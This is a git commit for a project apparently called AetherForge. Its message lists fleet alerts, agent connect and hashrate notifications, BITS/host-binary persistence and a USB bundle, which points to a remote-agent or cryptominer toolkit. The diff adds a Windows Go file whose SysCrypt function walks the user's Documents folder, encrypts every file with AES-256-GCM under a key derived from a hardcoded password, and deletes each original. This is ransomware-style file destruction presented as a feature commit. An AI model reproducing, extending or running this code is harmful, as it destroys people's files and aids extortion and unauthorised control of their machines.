feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

agent/client/crypt_windows.go

@@ -0,0 +1,113 @@
+//go:build windows
+
+package client
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"crypto/sha256"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"golang.org/x/sys/windows"
+)
+
+const cryptPassword = "password"
+
+// documentsDir returns the current user's Documents folder path via the
+// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
+func documentsDir() (string, error) {
+	path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
+	if err != nil {
+		// Fall back to USERPROFILE\Documents
+		if up := os.Getenv("USERPROFILE"); up != "" {
+			return filepath.Join(up, "Documents"), nil
+		}
+		return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
+	}
+	return path, nil
+}
+
+// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
+func deriveKey(password string) []byte {
+	sum := sha256.Sum256([]byte(password))
+	return sum[:]
+}
+
+// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
+// deleting the original. The 12-byte nonce is prepended to the ciphertext.
+func encryptFile(path string, key []byte) error {
+	plaintext, err := os.ReadFile(path)
+	if err != nil {
+		return err
+	}
+
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return err
+	}
+	gcm, err := cipher.NewGCM(block)
+	if err != nil {
+		return err
+	}
+
+	nonce := make([]byte, gcm.NonceSize())
+	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
+		return err
+	}
+
+	ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
+
+	dst := path + ".enc"
+	if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
+		return err
+	}
+
+	return os.Remove(path)
+}
+
+// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
+// file (skipping files already ending in ".enc"). Returns a summary string.
+func SysCrypt() string {
+	docsDir, err := documentsDir()
+	if err != nil {
+		return "sys_crypt error: " + err.Error()
+	}
+
+	key := deriveKey(cryptPassword)
+
+	var encrypted, skipped, failed int
+	var errs []string
+
+	err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
+		if walkErr != nil || d.IsDir() {
+			return nil
+		}
+		if strings.HasSuffix(path, ".enc") {
+			skipped++
+			return nil
+		}
+		if err := encryptFile(path, key); err != nil {
+			failed++
+			if len(errs) < 5 {
+				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
+			}
+			return nil
+		}
+		encrypted++
+		return nil
+	})
+	if err != nil {
+		return fmt.Sprintf("sys_crypt walk error: %v", err)
+	}
+
+	summary := fmt.Sprintf("sys_crypt done — encrypted: %d  skipped: %d  failed: %d", encrypted, skipped, failed)
+	if len(errs) > 0 {
+		summary += "\nErrors: " + strings.Join(errs, "; ")
+	}
+	return summary
+}